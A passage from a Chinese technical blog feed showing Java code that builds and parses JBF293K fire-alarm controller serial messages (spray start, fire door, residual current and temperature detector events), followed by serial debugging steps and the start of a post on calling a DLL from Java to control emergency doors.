class="type">byte</span>[] bytes = <span class="keyword">new</span> <span class="title class_">byte</span>[<span class="number">26</span>];</span><br><span class="line"><span class="comment">// 报文头</span></span><br><span class="line">bytes[<span class="number">0</span>] = (<span class="type">byte</span>) <span class="number">0x82</span>;</span><br><span class="line"><span class="comment">// D1</span></span><br><span class="line">bytes[<span class="number">1</span>] = (<span class="type">byte</span>) <span class="number">0x38</span>;</span><br><span class="line">bytes[<span class="number">2</span>] = (<span class="type">byte</span>) <span class="number">0x30</span>;</span><br><span class="line"><span class="comment">// D2</span></span><br><span class="line">bytes[<span class="number">3</span>] = (<span class="type">byte</span>) <span class="number">0x32</span>;</span><br><span class="line">bytes[<span class="number">4</span>] = (<span class="type">byte</span>) <span class="number">0x34</span>;</span><br><span class="line"><span class="comment">// D3</span></span><br><span class="line">bytes[<span class="number">5</span>] = (<span class="type">byte</span>) <span class="number">0x30</span>;</span><br><span class="line">bytes[<span class="number">6</span>] = (<span class="type">byte</span>) <span class="number">0x38</span>;</span><br><span class="line"><span class="comment">// D4</span></span><br><span class="line">bytes[<span class="number">7</span>] = (<span class="type">byte</span>) <span class="number">0x39</span>;</span><br><span class="line">bytes[<span class="number">8</span>] = (<span class="type">byte</span>) <span class="number">0x3B</span>;</span><br><span class="line"><span class="comment">// D5</span></span><br><span class="line">bytes[<span class="number">9</span>] = (<span class="type">byte</span>) <span class="number">0x30</span>;</span><br><span class="line">bytes[<span class="number">10</span>] = (<span class="type">byte</span>) <span class="number">0x31</span>;</span><br><span class="line"><span class="comment">// D6</span></span><br><span class="line">bytes[<span class="number">11</span>] = (<span class="type">byte</span>) <span class="number">0x31</span>;</span><br><span class="line">bytes[<span class="number">12</span>] = (<span class="type">byte</span>) <span class="number">0x31</span>;</span><br><span class="line"><span class="comment">// D7</span></span><br><span class="line">bytes[<span class="number">13</span>] = (<span class="type">byte</span>) <span class="number">0x30</span>;</span><br><span class="line">bytes[<span class="number">14</span>] = (<span class="type">byte</span>) <span class="number">0x33</span>;</span><br><span class="line"><span class="comment">// D8</span></span><br><span class="line">bytes[<span class="number">15</span>] = (<span class="type">byte</span>) <span class="number">0x30</span>;</span><br><span class="line">bytes[<span class="number">16</span>] = (<span class="type">byte</span>) <span class="number">0x38</span>;</span><br><span class="line"><span class="comment">// D9</span></span><br><span class="line">bytes[<span class="number">17</span>] = (<span class="type">byte</span>) <span class="number">0x31</span>;</span><br><span class="line">bytes[<span class="number">18</span>] = (<span class="type">byte</span>) <span class="number">0x30</span>;</span><br><span class="line"><span class="comment">// D10</span></span><br><span class="line">bytes[<span class="number">19</span>] = (<span class="type">byte</span>) <span class="number">0x30</span>;</span><br><span class="line">bytes[<span class="number">20</span>] = (<span class="type">byte</span>) <span class="number">0x34</span>;</span><br><span class="line"><span class="comment">// D11</span></span><br><span class="line">bytes[<span class="number">21</span>] = (<span class="type">byte</span>) <span class="number">0x30</span>;</span><br><span class="line">bytes[<span class="number">22</span>] = (<span class="type">byte</span>) <span class="number">0x38</span>;</span><br><span class="line"><span class="comment">// D12</span></span><br><span class="line">bytes[<span class="number">23</span>] = (<span class="type">byte</span>) <span class="number">0x38</span>;</span><br><span class="line">bytes[<span class="number">24</span>] = (<span class="type">byte</span>) <span class="number">0x30</span>;</span><br><span class="line"><span class="comment">// 报文尾</span></span><br><span class="line">bytes[<span class="number">25</span>] = (<span class="type">byte</span>) <span class="number">0x83</span>;</span><br><span class="line"><span class="type">JBF293KMapper</span> <span class="variable">jbf293KMapper</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">JBF293KMapper</span>();</span><br><span class="line">System.out.println(jbf293KMapper.readValue(bytes, Map.class));</span><br></pre></td></tr></table></figure><h3 id="结果示例">结果示例</h3><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/02/f273b83c4bae709c7ba4c606dcc6725c.png" alt="image-20230223142712393"></p><h2 id="喷洒启动">喷洒启动</h2><h3 id="报文解析示例-4">报文解析示例</h3><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/02/36dd8e46c51f152f071322d1e4f480a3.png" alt="image-20230223142751649"></p><h3 id="代码示例-2">代码示例</h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">byte</span>[] bytes = <span class="keyword">new</span> <span class="title class_">byte</span>[<span class="number">26</span>];</span><br><span class="line"><span class="comment">// 报文头</span></span><br><span class="line">bytes[<span class="number">0</span>] = (<span class="type">byte</span>) <span class="number">0x82</span>;</span><br><span class="line"><span class="comment">// D1</span></span><br><span class="line">bytes[<span class="number">1</span>] = (<span class="type">byte</span>) <span class="number">0x3F</span>;</span><br><span class="line">bytes[<span class="number">2</span>] = (<span class="type">byte</span>) <span class="number">0x3A</span>;</span><br><span class="line"><span class="comment">// D2</span></span><br><span class="line">bytes[<span class="number">3</span>] = (<span class="type">byte</span>) <span class="number">0x30</span>;</span><br><span class="line">bytes[<span class="number">4</span>] = (<span class="type">byte</span>) <span class="number">0x32</span>;</span><br><span class="line"><span class="comment">// D3</span></span><br><span class="line">bytes[<span class="number">5</span>] = (<span class="type">byte</span>) <span class="number">0x30</span>;</span><br><span class="line">bytes[<span class="number">6</span>] = (<span class="type">byte</span>) <span class="number">0x3B</span>;</span><br><span class="line"><span class="comment">// D4</span></span><br><span class="line">bytes[<span class="number">7</span>] = (<span class="type">byte</span>) <span class="number">0x30</span>;</span><br><span class="line">bytes[<span class="number">8</span>] = (<span class="type">byte</span>) <span class="number">0x32</span>;</span><br><span class="line"><span class="comment">// D5</span></span><br><span class="line">bytes[<span class="number">9</span>] = (<span class="type">byte</span>) <span class="number">0x30</span>;</span><br><span class="line">bytes[<span class="number">10</span>] = (<span class="type">byte</span>) <span class="number">0x32</span>;</span><br><span class="line"><span class="comment">// D6</span></span><br><span class="line">bytes[<span class="number">11</span>] = (<span class="type">byte</span>) <span class="number">0x31</span>;</span><br><span class="line">bytes[<span class="number">12</span>] = (<span class="type">byte</span>) <span class="number">0x31</span>;</span><br><span class="line"><span class="comment">// D7</span></span><br><span class="line">bytes[<span class="number">13</span>] = (<span class="type">byte</span>) <span class="number">0x30</span>;</span><br><span class="line">bytes[<span class="number">14</span>] = (<span class="type">byte</span>) <span class="number">0x33</span>;</span><br><span class="line"><span class="comment">// D8</span></span><br><span class="line">bytes[<span class="number">15</span>] = (<span class="type">byte</span>) <span class="number">0x30</span>;</span><br><span class="line">bytes[<span class="number">16</span>] = (<span class="type">byte</span>) <span class="number">0x39</span>;</span><br><span class="line"><span class="comment">// D9</span></span><br><span class="line">bytes[<span class="number">17</span>] = (<span class="type">byte</span>) <span class="number">0x30</span>;</span><br><span class="line">bytes[<span class="number">18</span>] = (<span class="type">byte</span>) <span class="number">0x3E</span>;</span><br><span class="line"><span class="comment">// D10</span></span><br><span class="line">bytes[<span class="number">19</span>] = (<span class="type">byte</span>) <span class="number">0x30</span>;</span><br><span class="line">bytes[<span class="number">20</span>] = (<span class="type">byte</span>) <span class="number">0x3D</span>;</span><br><span class="line"><span class="comment">// D11</span></span><br><span class="line">bytes[<span class="number">21</span>] = (<span class="type">byte</span>) <span class="number">0x31</span>;</span><br><span class="line">bytes[<span class="number">22</span>] = (<span class="type">byte</span>) <span class="number">0x3B</span>;</span><br><span class="line"><span class="comment">// D12</span></span><br><span class="line">bytes[<span class="number">23</span>] = (<span class="type">byte</span>) <span class="number">0x35</span>;</span><br><span class="line">bytes[<span class="number">24</span>] = (<span class="type">byte</span>) <span class="number">0x3E</span>;</span><br><span class="line"><span class="comment">// 报文尾</span></span><br><span class="line">bytes[<span class="number">25</span>] = (<span class="type">byte</span>) <span class="number">0x83</span>;</span><br><span class="line"><span class="type">JBF293KMapper</span> <span class="variable">jbf293KMapper</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">JBF293KMapper</span>();</span><br><span class="line">System.out.println(jbf293KMapper.readValue(bytes, Map.class));</span><br></pre></td></tr></table></figure><h3 id="结果示例-2">结果示例</h3><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/02/fe3a696963479c3cf3802f8730389015.png" alt="image-20230223143035932"></p><h2 id="单常开防火门故障">单常开防火门故障</h2><h3 id="报文解析示例-文档累加和错误">报文解析示例(文档累加和错误)</h3><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/02/6c9d61edc81b1d8f884b108f21405e8b.png" alt="image-20230223143208327"></p><h3 id="代码示例-3">代码示例</h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">byte</span>[] bytes = <span class="keyword">new</span> <span class="title class_">byte</span>[<span class="number">26</span>];</span><br><span class="line"><span class="comment">// 报文头</span></span><br><span class="line">bytes[<span class="number">0</span>] = (<span class="type">byte</span>) <span class="number">0x82</span>;</span><br><span class="line"><span class="comment">// D1</span></span><br><span class="line">bytes[<span class="number">1</span>] = (<span class="type">byte</span>) <span class="number">0x3F</span>;</span><br><span class="line">bytes[<span class="number">2</span>] = (<span class="type">byte</span>) <span class="number">0x3B</span>;</span><br><span class="line"><span class="comment">// D2</span></span><br><span class="line">bytes[<span class="number">3</span>] = (<span class="type">byte</span>) <span class="number">0x32</span>;</span><br><span class="line">bytes[<span class="number">4</span>] = (<span class="type">byte</span>) <span class="number">0x34</span>;</span><br><span class="line"><span class="comment">// D3</span></span><br><span class="line">bytes[<span class="number">5</span>] = (<span class="type">byte</span>) <span class="number">0x30</span>;</span><br><span class="line">bytes[<span class="number">6</span>] = (<span class="type">byte</span>) <span class="number">0x31</span>;</span><br><span class="line"><span class="comment">// D4</span></span><br><span class="line">bytes[<span class="number">7</span>] = (<span class="type">byte</span>) <span class="number">0x3F</span>;</span><br><span class="line">bytes[<span class="number">8</span>] = (<span class="type">byte</span>) <span class="number">0x3E</span>;</span><br><span class="line"><span class="comment">// D5</span></span><br><span class="line">bytes[<span class="number">9</span>] = (<span class="type">byte</span>) <span class="number">0x31</span>;</span><br><span class="line">bytes[<span class="number">10</span>] = (<span class="type">byte</span>) <span class="number">0x31</span>;</span><br><span class="line"><span class="comment">// D6</span></span><br><span class="line">bytes[<span class="number">11</span>] = (<span class="type">byte</span>) <span class="number">0x31</span>;</span><br><span class="line">bytes[<span class="number">12</span>] = (<span class="type">byte</span>) <span class="number">0x31</span>;</span><br><span class="line"><span class="comment">// D7</span></span><br><span class="line">bytes[<span class="number">13</span>] = (<span class="type">byte</span>) <span class="number">0x30</span>;</span><br><span class="line">bytes[<span class="number">14</span>] = (<span class="type">byte</span>) <span class="number">0x33</span>;</span><br><span class="line"><span class="comment">// D8</span></span><br><span class="line">bytes[<span class="number">15</span>] = (<span class="type">byte</span>) <span class="number">0x31</span>;</span><br><span class="line">bytes[<span class="number">16</span>] = (<span class="type">byte</span>) <span class="number">0x37</span>;</span><br><span class="line"><span class="comment">// D9</span></span><br><span class="line">bytes[<span class="number">17</span>] = (<span class="type">byte</span>) <span class="number">0x30</span>;</span><br><span class="line">bytes[<span class="number">18</span>] = (<span class="type">byte</span>) <span class="number">0x37</span>;</span><br><span class="line"><span class="comment">// D10</span></span><br><span class="line">bytes[<span class="number">19</span>] = (<span class="type">byte</span>) <span class="number">0x30</span>;</span><br><span class="line">bytes[<span class="number">20</span>] = (<span class="type">byte</span>) <span class="number">0x37</span>;</span><br><span class="line"><span class="comment">// D11</span></span><br><span class="line">bytes[<span class="number">21</span>] = (<span class="type">byte</span>) <span class="number">0x31</span>;</span><br><span class="line">bytes[<span class="number">22</span>] = (<span class="type">byte</span>) <span class="number">0x3F</span>;</span><br><span class="line"><span class="comment">// D12</span></span><br><span class="line">bytes[<span class="number">23</span>] = (<span class="type">byte</span>) <span class="number">0x3A</span>;</span><br><span class="line">bytes[<span class="number">24</span>] = (<span class="type">byte</span>) <span class="number">0x37</span>;</span><br><span class="line"><span class="comment">// 报文尾</span></span><br><span class="line">bytes[<span class="number">25</span>] = (<span class="type">byte</span>) <span class="number">0x83</span>;</span><br><span class="line"><span class="type">JBF293KMapper</span> <span class="variable">jbf293KMapper</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">JBF293KMapper</span>();</span><br><span class="line">System.out.println(jbf293KMapper.readValue(bytes, Map.class));</span><br></pre></td></tr></table></figure><h3 id="结果示例-3">结果示例</h3><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/02/a345b62c9e94432b0ce78b22ef8640b3.png" alt="image-20230224092221631"></p><h2 id="剩余电流探测器故障">剩余电流探测器故障</h2><h3 id="报文示例">报文示例</h3><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/02/1ad9171804cdb2b53bbbf6b10a13a260.png" alt="image-20230223144941391"></p><h3 id="代码示例-4">代码示例</h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">byte</span>[] bytes = <span class="keyword">new</span> <span class="title class_">byte</span>[<span class="number">26</span>];</span><br><span class="line"><span class="comment">// 报文头</span></span><br><span class="line">bytes[<span class="number">0</span>] = (<span class="type">byte</span>) <span class="number">0x82</span>;</span><br><span class="line"><span class="comment">// D1</span></span><br><span class="line">bytes[<span class="number">1</span>] = (<span class="type">byte</span>) <span class="number">0x3F</span>;</span><br><span class="line">bytes[<span class="number">2</span>] = (<span class="type">byte</span>) <span class="number">0x3C</span>;</span><br><span class="line"><span class="comment">// D2</span></span><br><span class="line">bytes[<span class="number">3</span>] = (<span class="type">byte</span>) <span class="number">0x32</span>;</span><br><span class="line">bytes[<span class="number">4</span>] = (<span class="type">byte</span>) <span class="number">0x34</span>;</span><br><span class="line"><span class="comment">// D3</span></span><br><span class="line">bytes[<span class="number">5</span>] = (<span class="type">byte</span>) <span class="number">0x32</span>;</span><br><span class="line">bytes[<span class="number">6</span>] = (<span class="type">byte</span>) <span class="number">0x30</span>;</span><br><span class="line"><span class="comment">// D4</span></span><br><span class="line">bytes[<span class="number">7</span>] = (<span class="type">byte</span>) <span class="number">0x3C</span>;</span><br><span class="line">bytes[<span class="number">8</span>] = (<span class="type">byte</span>) <span class="number">0x37</span>;</span><br><span class="line"><span class="comment">// D5</span></span><br><span class="line">bytes[<span class="number">9</span>] = (<span class="type">byte</span>) <span class="number">0x32</span>;</span><br><span class="line">bytes[<span class="number">10</span>] = (<span class="type">byte</span>) <span class="number">0x32</span>;</span><br><span class="line"><span class="comment">// D6</span></span><br><span class="line">bytes[<span class="number">11</span>] = (<span class="type">byte</span>) <span class="number">0x31</span>;</span><br><span class="line">bytes[<span class="number">12</span>] = (<span class="type">byte</span>) <span class="number">0x31</span>;</span><br><span class="line"><span class="comment">// D7</span></span><br><span class="line">bytes[<span class="number">13</span>] = (<span class="type">byte</span>) <span class="number">0x30</span>;</span><br><span class="line">bytes[<span class="number">14</span>] = (<span class="type">byte</span>) <span class="number">0x34</span>;</span><br><span class="line"><span class="comment">// D8</span></span><br><span class="line">bytes[<span class="number">15</span>] = (<span class="type">byte</span>) <span class="number">0x31</span>;</span><br><span class="line">bytes[<span class="number">16</span>] = (<span class="type">byte</span>) <span class="number">0x37</span>;</span><br><span class="line"><span class="comment">// D9</span></span><br><span class="line">bytes[<span class="number">17</span>] = (<span class="type">byte</span>) <span class="number">0x30</span>;</span><br><span class="line">bytes[<span class="number">18</span>] = (<span class="type">byte</span>) <span class="number">0x37</span>;</span><br><span class="line"><span class="comment">// D10</span></span><br><span class="line">bytes[<span class="number">19</span>] = (<span class="type">byte</span>) <span class="number">0x30</span>;</span><br><span class="line">bytes[<span class="number">20</span>] = (<span class="type">byte</span>) <span class="number">0x37</span>;</span><br><span class="line"><span class="comment">// D11</span></span><br><span class="line">bytes[<span class="number">21</span>] = (<span class="type">byte</span>) <span class="number">0x31</span>;</span><br><span class="line">bytes[<span class="number">22</span>] = (<span class="type">byte</span>) <span class="number">0x3F</span>;</span><br><span class="line"><span class="comment">// D12</span></span><br><span class="line">bytes[<span class="number">23</span>] = (<span class="type">byte</span>) <span class="number">0x38</span>;</span><br><span class="line">bytes[<span class="number">24</span>] = (<span class="type">byte</span>) <span class="number">0x32</span>;</span><br><span class="line"><span class="comment">// 报文尾</span></span><br><span class="line">bytes[<span class="number">25</span>] = (<span class="type">byte</span>) <span class="number">0x83</span>;</span><br><span class="line"><span class="type">JBF293KMapper</span> <span class="variable">jbf293KMapper</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">JBF293KMapper</span>();</span><br><span class="line">System.out.println(jbf293KMapper.readValue(bytes, Map.class));</span><br></pre></td></tr></table></figure><h3 id="结果示例-4">结果示例</h3><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/02/e048050070277c11039bb892c7f6544e.png" alt="image-20230223145440566"></p><h2 id="温度探测器">温度探测器</h2><h3 id="报文示例（文档中报文crc校验值错误）">报文示例（文档中报文crc校验值错误）</h3><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/02/9cbfde60e7815438ce933c2c0bbaba11.png" alt="image-20230223145507180"></p><h3 id="代码示例-5">代码示例</h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">byte</span>[] bytes = <span class="keyword">new</span> <span class="title class_">byte</span>[<span class="number">36</span>];</span><br><span class="line"><span class="comment">// 报文头</span></span><br><span class="line">bytes[<span class="number">0</span>] = (<span class="type">byte</span>) <span class="number">0x82</span>;</span><br><span class="line"><span class="comment">// D1</span></span><br><span class="line">bytes[<span class="number">1</span>] = (<span class="type">byte</span>) <span class="number">0x3F</span>;</span><br><span class="line">bytes[<span class="number">2</span>] = (<span class="type">byte</span>) <span class="number">0x3C</span>;</span><br><span class="line"><span class="comment">// D2</span></span><br><span class="line">bytes[<span class="number">3</span>] = (<span class="type">byte</span>) <span class="number">0x30</span>;</span><br><span class="line">bytes[<span class="number">4</span>] = (<span class="type">byte</span>) <span class="number">0x32</span>;</span><br><span class="line"><span class="comment">// D3</span></span><br><span class="line">bytes[<span class="number">5</span>] = (<span class="type">byte</span>) <span class="number">0x30</span>;</span><br><span class="line">bytes[<span class="number">6</span>] = (<span class="type">byte</span>) <span class="number">0x31</span>;</span><br><span class="line"><span class="comment">// D4</span></span><br><span class="line">bytes[<span class="number">7</span>] = (<span class="type">byte</span>) <span class="number">0x34</span>;</span><br><span class="line">bytes[<span class="number">8</span>] = (<span class="type">byte</span>) <span class="number">0x32</span>;</span><br><span class="line"><span class="comment">// D5</span></span><br><span class="line">bytes[<span class="number">9</span>] = (<span class="type">byte</span>) <span class="number">0x3F</span>;</span><br><span class="line">bytes[<span class="number">10</span>] = (<span class="type">byte</span>) <span class="number">0x3F</span>;</span><br><span class="line"><span class="comment">// D6</span></span><br><span class="line">bytes[<span class="number">11</span>] = (<span class="type">byte</span>) <span class="number">0x31</span>;</span><br><span class="line">bytes[<span class="number">12</span>] = (<span class="type">byte</span>) <span class="number">0x31</span>;</span><br><span class="line"><span class="comment">// D7</span></span><br><span class="line">bytes[<span class="number">13</span>] = (<span class="type">byte</span>) <span class="number">0x30</span>;</span><br><span class="line">bytes[<span class="number">14</span>] = (<span class="type">byte</span>) <span class="number">0x35</span>;</span><br><span class="line"><span class="comment">// D8</span></span><br><span class="line">bytes[<span class="number">15</span>] = (<span class="type">byte</span>) <span class="number">0x31</span>;</span><br><span class="line">bytes[<span class="number">16</span>] = (<span class="type">byte</span>) <span class="number">0x38</span>;</span><br><span class="line"><span class="comment">// D9</span></span><br><span class="line">bytes[<span class="number">17</span>] = (<span class="type">byte</span>) <span class="number">0x30</span>;</span><br><span class="line">bytes[<span class="number">18</span>] = (<span class="type">byte</span>) <span class="number">0x3F</span>;</span><br><span class="line"><span class="comment">// D10</span></span><br><span class="line">bytes[<span class="number">19</span>] = (<span class="type">byte</span>) <span class="number">0x32</span>;</span><br><span class="line">bytes[<span class="number">20</span>] = (<span class="type">byte</span>) <span class="number">0x3D</span>;</span><br><span class="line"><span class="comment">// D11</span></span><br><span class="line">bytes[<span class="number">21</span>] = (<span class="type">byte</span>) <span class="number">0x30</span>;</span><br><span class="line">bytes[<span class="number">22</span>] = (<span class="type">byte</span>) <span class="number">0x31</span>;</span><br><span class="line"><span class="comment">// D12</span></span><br><span class="line">bytes[<span class="number">23</span>] = (<span class="type">byte</span>) <span class="number">0x3A</span>;</span><br><span class="line">bytes[<span class="number">24</span>] = (<span class="type">byte</span>) <span class="number">0x3B</span>;</span><br><span class="line"><span class="comment">// D13</span></span><br><span class="line">bytes[<span class="number">25</span>] = (<span class="type">byte</span>) <span class="number">0x31</span>;</span><br><span class="line">bytes[<span class="number">26</span>] = (<span class="type">byte</span>) <span class="number">0x33</span>;</span><br><span class="line"><span class="comment">// D14</span></span><br><span class="line">bytes[<span class="number">27</span>] = (<span class="type">byte</span>) <span class="number">0x30</span>;</span><br><span class="line">bytes[<span class="number">28</span>] = (<span class="type">byte</span>) <span class="number">0x30</span>;</span><br><span class="line"><span class="comment">// D15</span></span><br><span class="line">bytes[<span class="number">29</span>] = (<span class="type">byte</span>) <span class="number">0x35</span>;</span><br><span class="line">bytes[<span class="number">30</span>] = (<span class="type">byte</span>) <span class="number">0x38</span>;</span><br><span class="line"><span class="comment">// D16</span></span><br><span class="line">bytes[<span class="number">31</span>] = (<span class="type">byte</span>) <span class="number">0x30</span>;</span><br><span class="line">bytes[<span class="number">32</span>] = (<span class="type">byte</span>) <span class="number">0x32</span>;</span><br><span class="line"><span class="comment">// CRC</span></span><br><span class="line">bytes[<span class="number">33</span>] = (<span class="type">byte</span>) <span class="number">0x3E</span>;</span><br><span class="line">bytes[<span class="number">34</span>] = (<span class="type">byte</span>) <span class="number">0x33</span>;</span><br><span class="line"><span class="comment">// 报文尾</span></span><br><span class="line">bytes[<span class="number">35</span>] = (<span class="type">byte</span>) <span class="number">0x83</span>;</span><br><span class="line"><span class="type">JBF293KMapper</span> <span class="variable">jbf293KMapper</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">JBF293KMapper</span>();</span><br><span class="line">System.out.println(jbf293KMapper.readValue(bytes, Map.class));</span><br></pre></td></tr></table></figure><h3 id="结果示例-5">结果示例</h3><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/02/9bc4dda82d26129c592d105a6edace38.png" alt="image-20230223154854847"></p><h2 id="调试过程">调试过程</h2><h3 id="设备接线">设备接线</h3><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/03/b52dc232a05704a974721b31a76d0247.jpg" alt=""></p><h3 id="配置设备网络地址和串口">配置设备网络地址和串口</h3><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/03/94a99379331d3821d04a2020b500b16a.png" alt="image-20230302115017177"></p><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/03/e858fe752ab6b5f49786585b7f459524.png" alt="image-20230302115127082"></p><h3 id="使用串口工具模拟发送报文">使用串口工具模拟发送报文</h3><a class="tag-Link" target="_blank" href="http://gofile.me/5lHRJ/Ji3BeVc1e">    <div class="tag-link-tips">引用站外地址</div>    <div class="tag-link-bottom">        <div class="tag-link-left" style="background-image: url(https://api.iowen.cn/favicon/gofile.me/5lHRJ/Ji3BeVc1e.png);"></div>        <div class="tag-link-right">            <div class="tag-link-title">串口调试工具</div>            <div class="tag-link-sitename">nas</div>        </div>        <i class="fa-solid fa-angle-right"></i>    </div>    </a><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/03/c2140ce136fe97d55ae76776e8bee97e.png" alt="image-20230302115430323"></p><h3 id="启动java服务接收数据">启动java服务接收数据</h3><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/03/a98b9f47ab82005400c617db88e5615f.png" alt="image-20230302115538016"></p>]]></content>
    
    
      
      
    <summary type="html">&lt;h2 id=&quot;工具包引入&quot;&gt;工具包引入&lt;/h2&gt;
&lt;figure class=&quot;highlight xml&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;gutter&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;</summary>
      
    
    
    
    <category term="工具" scheme="https://blog.allbs.cn/categories/%E5%B7%A5%E5%85%B7/"/>
    
    
    <category term="工具" scheme="https://blog.allbs.cn/tags/%E5%B7%A5%E5%85%B7/"/>
    
    <category term="报文解析" scheme="https://blog.allbs.cn/tags/%E6%8A%A5%E6%96%87%E8%A7%A3%E6%9E%90/"/>
    
  </entry>
  
  <entry>
    <title>java程序调用dll</title>
    <link href="https://blog.allbs.cn/posts/35133/"/>
    <id>https://blog.allbs.cn/posts/35133/</id>
    <published>2023-02-06T08:53:00.000Z</published>
    <updated>2025-11-28T06:48:01.054Z</updated>
    
    <content type="html"><![CDATA[<h2 id="项目需求">项目需求</h2><p>调用捷宸EIO开发包DLL动态库控制应急门的开关停，现场应急门继电器连接的是6、7、8，分别对应的是开、停、关。0为打开，1为关闭。</p><h2 id="java程序开发">java程序开发</h2><h3 id="在resource中新建lib将dll放入其中">在resource中新建lib将dll放入其中</h3><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/02/b1140194e647eb7eab50ab1442451541.png" alt="image-20230206164856700"></p><h3 id="sdk工具开发">sdk工具开发</h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span 